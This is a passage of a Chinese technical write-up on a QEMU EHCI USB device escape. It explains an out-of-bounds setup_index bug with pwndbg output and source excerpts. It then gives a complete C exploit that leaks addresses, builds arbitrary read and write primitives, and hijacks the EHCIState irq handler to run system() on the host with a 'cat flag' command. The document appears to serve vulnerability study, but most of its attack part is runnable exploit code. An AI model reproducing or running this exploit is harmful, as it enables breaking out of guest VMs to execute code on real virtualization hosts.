LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5555564fe000 0x555556614000 r--p 116000 daa000 /root/pwn/漏洞/qemu_escape/qemu-source/bin/debug/naive/x86_64-softmmu/qemu-system-x86_64 +0xc1170
pwndbg> p &s->device
$49 = (const USBDescDevice **) 0x5555576b6898
pwndbg> p &s->data_buf
$50 = (uint8_t (*)[4096]) 0x5555576b539c
pwndbg> p/x 0x5555576b6898-0x5555576b539c-0x1000
$51 = 0x4fc

因此在第一步结束之后我们得到了port/data_bufUSBDevice成员变量的地址以及system.plt的地址。

Step2

这一步是为了获取EHCIState结构体的地址,我们看一下这一部分的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
printf("\033[41;37m[*] Step 2/3\033[0m\n");

anywhere_read(port_addr);

for(int i=0;i<6;i++){
uint64_t tmp = second_leak_data[i] & 0xff;
port_ptr |= tmp << ((i) * 8);
}
printf("\033[47;31m[*] port ptr : 0x%lx\033[0m\n",port_ptr);

uint64_t EHCIState_addr = port_ptr - 0x530;
uint64_t irq_addr = EHCIState_addr + 0xb8;
uint64_t fake_irq_addr = data_buf_addr;
uint64_t irq_ptr = 0;

anywhere_read(irq_addr);

for(int i=0;i<6;i++){
uint64_t tmp = second_leak_data[i] & 0xff;
irq_ptr |= tmp << ((i) * 8);
}

printf("\033[47;31m[*] Port ptr : 0x%lx\033[0m\n",port_ptr);
printf("\033[47;31m[*] EHCIState addr : 0x%lx\033[0m\n",EHCIState_addr);
printf("\033[47;31m[*] IRQ addr : 0x%lx\033[0m\n",irq_addr);
printf("\033[47;31m[*] Fake IRQ addr : 0x%lx\033[0m\n",fake_irq_addr);
printf("\033[47;31m[*] IRQ ptr : 0x%lx\033[0m\n",irq_ptr);


*(unsigned long *)(data_buf + 0x28) = system_addr;
*(unsigned long *)(data_buf + 0x30) = device_addr+0xdc+0x100;
*(unsigned long *)(data_buf + 0x38) = 0x3;
*(unsigned long long *)(data_buf + 0x100) = 0x67616c6620746163;

首先是调用了任意读的函数读取了我们在第一步中泄漏的port的地址中存储的内容。我们先来看一下anywhere_read函数的逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
void anywhere_read(uint64_t target_addr){
puts("\033[47;31m[*] Anywhere Read\033[0m");
//set_length(0x1010);
oob_write(0x0,0x1010,0xfffffff8-0x1010,1);

*(unsigned long *)(data_buf) = 0x2000000000000080;

uint32_t target_offset = target_addr - data_buf_addr;

oob_write(0x8,0xffff,target_offset - 0x1018,0);
oob_read(0x2000,0);
}

首先调用越界写函数覆写setup_lensetup_index。这里我们看一下oob_write函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void oob_write(uint64_t offset,uint64_t setup_len,uint64_t setup_index,int perpare){
if(perpare){
perpare_write();
set_length(0x1010);
}
puts("\033[47;31m[*] prepare write finished\033[0m");

*(unsigned long *)(data_bufoob + offset) = 0x0000000200000002; // 覆盖成原先的内容
*(unsigned int *)(data_bufoob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_bufoob + 0xc+ offset) = setup_index;

qtd->token = (0x1e00 << 16) | (1 << 7) | (0 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(data_buf);
qtd->bufptr[1] = virtuak_addr_to_physical_addr(data_bufoob);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

sleep(5);
}

oob_read函数相同,在调用read之后的第一个write函数的时候需要将perpare位置为1表示需要设置一下s->setup_state以顺利的进入do_token_out的写操作部分。

1
2
3
4
5
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);

我们看到这里还是将setup_leniov.size对比了一下选择两者之间最小的进行覆写,这里在函数中是写死的。因此这里实际上写入的字节大小就是len的值也就是0x1010字节大小。溢出的0x10字节的写用来覆写setup_len/setup_index为指定的数值。

那么在任意写函数调用了第一次越界写入函数覆写完毕setup_len/setup_index之后setup_index要加上写入的字节数,此时的setup_index=-8。接着再一次调用了越界写函数,此时写入的目标地址就是setup_buf开始的。

1
2
pwndbg> p/x s->setup_index
$2 = 0xfffffff8

在这里将setup_buf覆写为了read函数调用所需要的数值,并将setup_len覆写为了0xffffsetup_index覆写为了offset-0x1018,那么此次的越界写写入的字节数为0x1018大小,覆写结束之后setup_index就变成了offsettarget_addr - data_buf_addr,那么下一次的读函数的调用就是从target_addr开始读取数据。

1
2
3
4
5
6
7
8
9
10
pwndbg> p/x s->setup_index
$4 = 0xffffff9c
pwndbg> p/x s->setup_buf
$5 = {0x80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20}
pwndbg> p &s->data_buf
$6 = (uint8_t (*)[4096]) 0x5555576b539c
pwndbg> p &s->port
$7 = (USBPort **) 0x5555576b5338
pwndbg> p/x 0x5555576b5338 - 0x5555576b539c
$8 = 0xffffffffffffff9c

那么接下来调用越界读函数就可以读取出port中存储的指针的值。

1
2
3
4
pwndbg> p s->port
$10 = (USBPort *) 0x55555762ea80
pwndbg> x/20gx 0x55555762ea80
0x55555762ea80: 0x00005555576b52c0 0x0000000000000004

从该值我们可以推测出EHCIState结构体的地址,因为此值就是EHCIState中的ports的值。

1
2
3
4
5
6
7
8
pwndbg> p &((struct EHCIState*)0)->ports
$26 = (USBPort (*)[6]) 0x540
pwndbg> p/x 0x55555762ea80-0x540
$27 = 0x55555762e540
pwndbg> p &((struct EHCIState *)0x55555762e540).ports
$28 = (USBPort (*)[6]) 0x55555762ea80
pwndbg> p s->port
$29 = (USBPort *) 0x55555762ea80

那么得到该结构体的地址之后我们就可以得到irq成员变量的地址。之后读取了irq成员变量里面存储的值,但是我现在还不知道该值有什么作用。

还差一点就是为什么这两个ports的值相同。这里我们需要深入的分析一下usb_claim_prot这个函数,这个之后再进行分析。

Step3

目前我们已经知道了EHCIState结构体的地址,那么接下来就是要伪造一个qemu_irq结构体将handler设置为system.plt的地址将opaque设置为payload的地址,覆写EHCIState->irq指针为我们伪造的结构体的地址,那么之后发生的irq->handler(irq->opaque)的调用就可以执行我们的payload了。看一下这里的exp代码。

1
2
3
4
5
6
7
8
9
10
11
*(unsigned long *)(data_buf + 0x28) = system_addr;// handler指针
*(unsigned long *)(data_buf + 0x30) = device_addr+0xdc+0x100;// opaque指针指向data_buf+0x100的位置
*(unsigned long *)(data_buf + 0x38) = 0x3;
*(unsigned long long *)(data_buf + 0x100) = 0x67616c6620746163; //payload

printf("\033[41;37m[*] Step 3/3\033[0m\n");
getchar();

oob_write(0, 0xffff, 0xffff,1);

anywhere_write(irq_addr, fake_irq_addr,1);

这里首先是覆写了setup_len,setup_index,这一步好像是没什么用,接着就直接覆写了EHCIState->irq这个指针为我们伪造的qemu_irq结构体的地址。这里我们看一下任意地址写函数anywhere_write

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void anywhere_write(uint64_t target_addr,uint64_t payload,int flag){
puts("\033[47;31m[*] Anywhere Write\033[0m");

uint32_t offset = target_addr - data_buf_addr;

oob_write(0, offset+0x8, offset-0x1010,1);

if(flag){
printf("\033[41;37m[*] Hacked!\033[0m\n");
}

*(unsigned long *)(data_buf) = payload;
oob_write(0, 0xffff, 0,0);
}

首先函数利用越界写设置setup_len,setup_index。但是由于越界写入指定了写入的字节的大小就是0x1010,因此这里在第一次越界写入之后就setup_index就会变成offset,下一次的越界写入就从target_addr开始写入0x1010大小的字节了,并且这里写入的源地址是data_buf指针指向的内容。因此这里就实现了任意写。

并且最后一个任意写在这里还存在一个功能就是触发qemu_set_irq函数,由于此时任意写的addr=0,那么在echi_opreg_write函数中走入的分支就是USBCMD也就是覆写usbcmd成员变量,但是这里会调用一个echi_reset函数,那么就会发生如下的函数调用链ehci_reset->usb_detach->ehci_detach->ehci_raise_irq->ehci_update_irq->qemu_set_irq

最终就会调用irq->handler(irq->opaque, irq->n, level);也就是会执行我们的payload

图片无法显示,请联系作者

那么由于这里我是在docker中进行调试的,因此这里我将弹出计算器的操作改成了读取flag

iov.size

对于iov的赋值是从qemu_iovec_add函数开始的,发生如下的函数调用链echi_execute->usb_packet_map->qemu_iovec_add,我们看一下该函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
typedef struct QEMUIOVector {
struct iovec *iov;
int niov;
union {
struct {
int nalloc;
struct iovec local_iov;
};
struct {
char __pad[sizeof(int) + offsetof(struct iovec, iov_len)];
size_t size;
};
};
} QEMUIOVector;
struct iovec {
void *iov_base;
size_t iov_len;
};
// qemu_iovec_add(&p->iov, mem, xlen);
void qemu_iovec_add(QEMUIOVector *qiov, void *base, size_t len)
{
assert(qiov->nalloc != -1);

if (qiov->niov == qiov->nalloc) {
qiov->nalloc = 2 * qiov->nalloc + 1;
qiov->iov = g_renew(struct iovec, qiov->iov, qiov->nalloc);
}
qiov->iov[qiov->niov].iov_base = base;
qiov->iov[qiov->niov].iov_len = len;
qiov->size += len;
++qiov->niov;
}

传入的base是一个物理地址,len是长度。可以看到这里对iov的所有变量进行了赋值。qiov是一个QEMUIOVector结构体,该结构体中的第一个成员变量iov是一个iovc结构体指针数组。niov表示的是数组下标即index。我们看一下qemu_iovec_add函数的上层函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct ScatterGatherEntry {
dma_addr_t base;
dma_addr_t len;
};
struct QEMUSGList {
ScatterGatherEntry *sg;
int nsg;
int nalloc;
size_t size;
DeviceState *dev;
AddressSpace *as;
};
int usb_packet_map(USBPacket *p, QEMUSGList *sgl)
{
DMADirection dir = (p->pid == USB_TOKEN_IN) ?
DMA_DIRECTION_FROM_DEVICE : DMA_DIRECTION_TO_DEVICE;
void *mem;
int i;

for (i = 0; i < sgl->nsg; i++) {
dma_addr_t base = sgl->sg[i].base;
dma_addr_t len = sgl->sg[i].len;

while (len) {
dma_addr_t xlen = len;
mem = dma_memory_map(sgl->as, base, &xlen, dir);
if (!mem) {
goto err;
}
if (xlen > len) {
xlen = len;
}
qemu_iovec_add(&p->iov, mem, xlen);
len -= xlen;
base += xlen;
}
}
return 0;

err:
usb_packet_unmap(p, sgl);
return -1;
}

这里我们看到函数传入参数mem,xlen是由sgl这个数据结构体得来的。根据nsg的值依次添加相应的iov。我们看一下sgl的赋值过程。该结构体其实是从ehci_init_transfer函数中生成的,发生了如下的函数调用链ehci_execute->ehci_init_transfer->qemu_sglist_add,我们先来看一下qemu_sglist_add函数

1
2
3
4
5
6
7
8
9
10
11
void qemu_sglist_add(QEMUSGList *qsg, dma_addr_t base, dma_addr_t len)
{
if (qsg->nsg == qsg->nalloc) {
qsg->nalloc = 2 * qsg->nalloc + 1;
qsg->sg = g_realloc(qsg->sg, qsg->nalloc * sizeof(ScatterGatherEntry));
}
qsg->sg[qsg->nsg].base = base;
qsg->sg[qsg->nsg].len = len;
qsg->size += len;
++qsg->nsg;
}

可以看到函数的逻辑和qemu_iovec_add函数的逻辑类似,我们看一下上层函数base,len的赋值过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
static int ehci_init_transfer(EHCIPacket *p)
{
uint32_t cpage, offset, bytes, plen;
dma_addr_t page;

#define QTD_TOKEN_CPAGE_MASK 0x00007000
#define QTD_TOKEN_CPAGE_SH 12
#define QTD_TOKEN_TBYTES_MASK 0x7fff0000
#define QTD_TOKEN_TBYTES_SH 16
cpage = get_field(p->qtd.token, QTD_TOKEN_CPAGE);
bytes = get_field(p->qtd.token, QTD_TOKEN_TBYTES);
offset = p->qtd.bufptr[0] & ~QTD_BUFPTR_MASK;
qemu_sglist_init(&p->sgl, p->queue->ehci->device, 5, p->queue->ehci->as);

while (bytes > 0) {
if (cpage > 4) {
fprintf(stderr, "cpage out of range (%d)\n", cpage);
qemu_sglist_destroy(&p->sgl);
return -1;
}

page = p->qtd.bufptr[cpage] & QTD_BUFPTR_MASK;
page += offset;
plen = bytes;
if (plen > 4096 - offset) {
plen = 4096 - offset;
offset = 0;
cpage++;
}

qemu_sglist_add(&p->sgl, page, plen);
bytes -= plen;
}
return 0;
}

我们看到cpage是一个类似于index的东西,base也就是基地址对应的page来自于bufptr[cpage]len也就是size对应的plen来自于bytes,而bytescpage都是从token中提取出来的。而我们又可以通过periodiclistbase控制listentry从而控制qtd结构体,也即是我们可以控制bufptrtoken这两个成员变量。也就是我们可以控制iov结构体的所有内容。

其实我们看到进行读写即do_token_in/out的关键函数use_packet_copy函数就是对向iov.iov写入数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void usb_packet_copy(USBPacket *p, void *ptr, size_t bytes)
{
QEMUIOVector *iov = p->combined ? &p->combined->iov : &p->iov;

assert(p->actual_length >= 0);
assert(p->actual_length + bytes <= iov->size);
switch (p->pid) {
case USB_TOKEN_SETUP:
case USB_TOKEN_OUT:
iov_to_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
case USB_TOKEN_IN:
iov_from_buf(iov->iov, iov->niov, p->actual_length, ptr, bytes);
break;
default:
fprintf(stderr, "%s: invalid pid: %x\n", __func__, p->pid);
abort();
}
p->actual_length += bytes;
}
static inline size_t
iov_to_buf(const struct iovec *iov, const unsigned int iov_cnt,
size_t offset, void *buf, size_t bytes)
{
if (__builtin_constant_p(bytes) && iov_cnt &&
offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
memcpy(buf, iov[0].iov_base + offset, bytes);
return bytes;
} else {
return iov_to_buf_full(iov, iov_cnt, offset, buf, bytes);
}
}
static inline size_t
iov_from_buf(const struct iovec *iov, unsigned int iov_cnt,
size_t offset, const void *buf, size_t bytes)
{
if (__builtin_constant_p(bytes) && iov_cnt &&
offset <= iov[0].iov_len && bytes <= iov[0].iov_len - offset) {
memcpy(iov[0].iov_base + offset, buf, bytes);
return bytes;
} else {
return iov_from_buf_full(iov, iov_cnt, offset, buf, bytes);
}
}

我们看到其最终是向iov[0].iov_base写入了数据。虽然在usb_packet_copy函数中写入的字节数是一个参数,但是我们看一下函数再调用中的参数的值

1
2
3
4
5
int len = s->setup_len - s->setup_index;
if (len > p->iov.size) {
len = p->iov.size;
}
usb_packet_copy(p, s->data_buf + s->setup_index, len);

我们看到这里的len要么就是setup_len,要么就是iov.size。而setup_len是我们控制的,iov.size我们也可以进行控制,因此这里拷贝的长度和目标地址都是可控的。这也就是解释了为什么我们可以指定读取的目标地址和写入的源地址。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdint.h>
#include <stdbool.h>

typedef struct USBDevice USBDevice;
typedef struct USBEndpoint USBEndpoint;
struct USBEndpoint {
uint8_t nr;
uint8_t pid;
uint8_t type;
uint8_t ifnum;
int max_packet_size;
int max_streams;
bool pipeline;
bool halted;
USBDevice *dev;
USBEndpoint *fd;
USBEndpoint *bk;
};

struct USBDevice {
int32_t remote_wakeup;
int32_t setup_state;
int32_t setup_len;
int32_t setup_index;

USBEndpoint ep_ctl;
USBEndpoint ep_in[15];
USBEndpoint ep_out[15];
};

typedef struct EHCIqh {
uint32_t next; /* Standard next link pointer */

/* endpoint characteristics */
uint32_t epchar;

/* endpoint capabilities */
uint32_t epcap;

uint32_t current_qtd; /* Standard next link pointer */
uint32_t next_qtd; /* Standard next link pointer */
uint32_t altnext_qtd;

uint32_t token; /* Same as QTD token */
uint32_t bufptr[5]; /* Standard buffer pointer */

} EHCIqh;

typedef struct EHCIqtd {
uint32_t next; /* Standard next link pointer */
uint32_t altnext; /* Standard next link pointer */
uint32_t token;
uint32_t bufptr[5]; /* Standard buffer pointer */
} EHCIqtd;

char *setup_buf;
char *data_buf;
char *data_bufoob;
char *first_leak_data;
char *second_leak_data;

unsigned char* mmio_mem;
char *dmabuf;
uint32_t *entry;
struct EHCIqh *qh;
struct EHCIqtd * qtd;
uint64_t device_addr = 0;
uint64_t func_addr = 0;
uint64_t port_addr = 0;
uint64_t port_ptr = 0;
uint64_t data_buf_addr = 0;
uint64_t proc_base = 0;

size_t virtuak_addr_to_physical_addr(void *addr){
uint64_t data;

int fd = open("/proc/self/pagemap",O_RDONLY);
if(!fd){
perror("open pagemap");
return 0;
}

size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);

if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}

if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}

if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}

size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;

close(fd);

return phyaddr;
}

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint64_t addr, uint64_t value)
{
*((uint32_t*)(mmio_mem + addr)) = (value & 0xffffffff);
*((uint32_t*)(mmio_mem + addr + 4)) = (value >> 32);

}

uint64_t mmio_read(uint64_t addr)
{
uint32_t value1 = *((uint32_t *)(mmio_mem + addr));
uint32_t value2 = *((uint32_t *)(mmio_mem + addr + 4));
uint64_t value = ((uint64_t)value2 << 32) + value1;
// return *((uint64_t*)(mmio_mem + addr));
return value;
}

void echi_reset(void){
mmio_write(0x20,1<<1);
return;
}

void set_usbcmd(void){
echi_reset();
mmio_write(0x20,(1<<0)|(1<<4));
return;
}

void set_portsc(void){
mmio_write(0x64,1<<8);
mmio_write(0x64,1<<2);
mmio_write(0x65<<2,1<<8);
mmio_write(0x65<<2,1<<2);
mmio_write(0x66<<2,1<<8);
mmio_write(0x66<<2,1<<2);
mmio_write(0x67<<2,1<<8);
mmio_write(0x67<<2,1<<2);
mmio_write(0x68<<2,1<<8);
mmio_write(0x68<<2,1<<2);
mmio_write(0x69<<2,1<<8);
mmio_write(0x69<<2,1<<2);
return;
}

void set_length(uint64_t length){

setup_buf[6] = length & 0xff;
setup_buf[7] = (length >> 8) & 0xff;

qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

sleep(3);
}

void perpare_read(void){

setup_buf[0] = 0x80;
setup_buf[6] = 0xff;
setup_buf[7] = 0x00;

qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

sleep(3);
}

void perpare_write(void){

setup_buf[0] = 0x00;
setup_buf[6] = 0xff;
setup_buf[7] = 0x00;

qtd->token = (8 << 16) | (1 << 7) | (2 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(setup_buf);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

sleep(3);
}

void oob_read(uint64_t length,int flag){
if(flag){
perpare_read();
puts("\033[47;31m[*] perpare read finished\033[0m");
set_length(length);
puts("\033[47;31m[*] set length finished\033[0m");
}

data_buf[0] = 'R';
data_buf[1] = 'e';
data_buf[2] = 's';
data_buf[3] = 'e';
data_buf[4] = 'r';
data_buf[5] = 'y';

qtd->token = (0x1e00 << 16) | (1 << 7) | (1 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(data_buf);
qtd->bufptr[1] = virtuak_addr_to_physical_addr(data_bufoob);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
puts("\033[47;31m[*] oob read start\033[0m");
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf)); // periodiclistbase

sleep(5);
}

void oob_write(uint64_t offset,uint64_t setup_len,uint64_t setup_index,int perpare){
if(perpare){
perpare_write();
set_length(0x1010);
}
puts("\033[47;31m[*] prepare write finished\033[0m");

*(unsigned long *)(data_bufoob + offset) = 0x0000000200000002; // 覆盖成原先的内容
*(unsigned int *)(data_bufoob + 0x8 +offset) = setup_len; //setup_len
*(unsigned int *)(data_bufoob + 0xc+ offset) = setup_index;

qtd->token = (0x1e00 << 16) | (1 << 7) | (0 << 8);
qtd->bufptr[0] = virtuak_addr_to_physical_addr(data_buf);
qtd->bufptr[1] = virtuak_addr_to_physical_addr(data_bufoob);

qh->token = 1 << 7;
qh->current_qtd = virtuak_addr_to_physical_addr(qtd);

*entry = virtuak_addr_to_physical_addr(qh) + (1 << 1);

set_usbcmd();
set_portsc();
mmio_write(0x34,virtuak_addr_to_physical_addr(dmabuf));

sleep(5);
}

void anywhere_read(uint64_t target_addr){
puts("\033[47;31m[*] Anywhere Read\033[0m");
//set_length(0x1010);
oob_write(0x0,0x1010,0xfffffff8-0x1010,1);

*(unsigned long *)(data_buf) = 0x2000000000000080;

uint32_t target_offset = target_addr - data_buf_addr;

oob_write(0x8,0xffff,target_offset - 0x1018,0);
oob_read(0x2000,0);
}

void anywhere_write(uint64_t target_addr,uint64_t payload,int flag){
puts("\033[47;31m[*] Anywhere Write\033[0m");

uint32_t offset = target_addr - data_buf_addr;

oob_write(0, offset+0x8, offset-0x1010,1);

if(flag){
printf("\033[41;37m[*] Hacked!\033[0m\n");
}

*(unsigned long *)(data_buf) = payload;
oob_write(0, 0xffff, 0,0);
}

void init(void){
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd < 0)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");

mlock(dmabuf, 0x3000);

//printf("[*] mmio_mem : %p\n", mmio_mem);
printf("[*] dmabuf : %p\n",dmabuf);
printf("[*] phy dmabuf : %p\n",virtuak_addr_to_physical_addr(dmabuf));

entry = dmabuf + 0x4;
qh = dmabuf + 0x100;
qtd = dmabuf + 0x200;
setup_buf = dmabuf + 0x300;
data_buf = dmabuf + 0x1000;
data_bufoob = dmabuf + 0x2000;
first_leak_data = dmabuf + 0x2000;
second_leak_data = dmabuf + 0x1000;
}

int main(){
puts("\033[41;37m[*] Beginning\033[0m");
puts("\033[47;31m[*] Wait a moment\033[0m");

init();

printf("\033[41;37m[*] Step 1/3\033[0m\n");

getchar();
oob_read(0x2000,1);
device_addr = 0;

for(int i=36;i<42;i++){
uint64_t tmp = first_leak_data[i] & 0xff;
device_addr |= tmp << ((i-36) * 8);
}

func_addr = 0;
port_addr = device_addr+0x78;
data_buf_addr = device_addr+0xdc;

printf("\033[47;31m[*] Devices addr : 0x%lx\033[0m\n",device_addr);
printf("\033[47;31m[*] Port addr : 0x%lx\033[0m\n",port_addr);
printf("\033[47;31m[*] Data Buf addr : 0x%lx\033[0m\n",data_buf_addr);
for(int i=0x4fc;i<0x4fc+6;i++){
uint64_t tmp = first_leak_data[i] & 0xff;
func_addr |= tmp << ((i-0x4fc) * 8);
}
// proc_base = func_addr - 0x1069490;
proc_base = func_addr - 0x106b170;
printf("\033[47;31m[*] Func addr : 0x%lx\033[0m\n",func_addr);
printf("\033[47;31m[*] proc base : 0x%lx\033[0m\n",proc_base);

//uint64_t system_addr = func_addr - 0xb5c860;
// uint64_t system_addr = proc_base + 0x2BE010;
uint64_t system_addr = proc_base + 0x2BE960;

printf("\033[47;31m[*] System addr : 0x%lx\033[0m\n",system_addr);
sleep(3);

printf("\033[41;37m[*] Step 2/3\033[0m\n");

anywhere_read(port_addr);

for(int i=0;i<6;i++){
uint64_t tmp = second_leak_data[i] & 0xff;
port_ptr |= tmp << ((i) * 8);
}
printf("\033[47;31m[*] port ptr : 0x%lx\033[0m\n",port_ptr);

// uint64_t EHCIState_addr = port_ptr - 0x530;
uint64_t EHCIState_addr = port_ptr - 0x540;
// uint64_t irq_addr = EHCIState_addr + 0xb8;
uint64_t irq_addr = EHCIState_addr + 0xc0;
uint64_t fake_irq_addr = data_buf_addr;
uint64_t irq_ptr = 0;

anywhere_read(irq_addr);

for(int i=0;i<6;i++){
uint64_t tmp = second_leak_data[i] & 0xff;
irq_ptr |= tmp << ((i) * 8);
}

printf("\033[47;31m[*] Port ptr : 0x%lx\033[0m\n",port_ptr);
printf("\033[47;31m[*] EHCIState addr : 0x%lx\033[0m\n",EHCIState_addr);
printf("\033[47;31m[*] IRQ addr : 0x%lx\033[0m\n",irq_addr);
printf("\033[47;31m[*] Fake IRQ addr : 0x%lx\033[0m\n",fake_irq_addr);
printf("\033[47;31m[*] IRQ ptr : 0x%lx\033[0m\n",irq_ptr);


*(unsigned long *)(data_buf + 0x28) = system_addr;
*(unsigned long *)(data_buf + 0x30) = device_addr+0xdc+0x100;
*(unsigned long *)(data_buf + 0x38) = 0x3;
*(unsigned long long *)(data_buf + 0x100) = 0x67616c6620746163;

printf("\033[41;37m[*] Step 3/3\033[0m\n");
getchar();

oob_write(0, 0xffff, 0xffff,1);

anywhere_write(irq_addr, fake_irq_addr,1);

return 0;
}